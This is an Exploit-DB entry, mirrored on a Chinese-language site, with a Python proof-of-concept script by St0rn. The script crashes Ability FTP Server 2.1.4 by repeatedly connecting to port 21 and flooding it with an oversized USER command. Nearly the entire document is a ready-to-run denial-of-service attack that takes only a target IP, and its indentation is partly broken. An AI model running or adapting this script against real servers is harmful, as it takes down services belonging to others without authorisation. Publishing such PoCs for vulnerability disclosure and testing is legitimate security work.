Ability FTP Server 2.1.4 – ‘afsmain.exe’ ‘USER’ Remote Denial of Service

  • 作者: St0rn
    日期: 2015-08-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37775/
  • #!/usr/bin/env python
    #
    # Exploit Title: Ability FTP Server afsmain.exe USER Command Remote Dos
    # Date: 2015-08-15
    # Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com>
    # Twitter: st0rnpentest
    #
    # Vendor Homepage: www.codecrafters.com
    # Software Link: http://www.codecrafters.com/AbilityFTPServer
    # Version: 2.1.4
    # Tested on: Windows 7
    #
    
    import socket
    import sys
    import os
    
    
    def clear():
     os.system("cls")
    
    def banner():
     print "############################################".center(80)
     print "#Ability FTP Server DoS PoC#".center(80)
     print "# Author: St0rn#".center(80)
     print "#<fabien[at]anbu-pentest[dot]com>#".center(80)
     print "############################################".center(80)
     
    def createconn(ip):
     s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     try:
    s.connect((ip,21))
     except:
    print "\n"
    print "[+] Server Down!".center(80)
    sys.exit(0)
     return s
    
    def crash(sock):
     try:
    while 1:
     sock.send('USER '+'a'*99999)
     sys.stdout.write('.')
     except:
    sock.close()
    
    ############### Main ###############
    clear()
    banner()
    
    if len(sys.argv)==2:
     print "\n"
     print "Waiting 2 or 3 minutes before crash".center(80)
     print "(The server can be run without afsloader.exe)".center(80)
     while 1:
    s=createconn(sys.argv[1])
    crash(s)
    else:
     print "\n"
     print "Usage: AftpDos.py [Server IP]".center(80)
     sys.exit(0)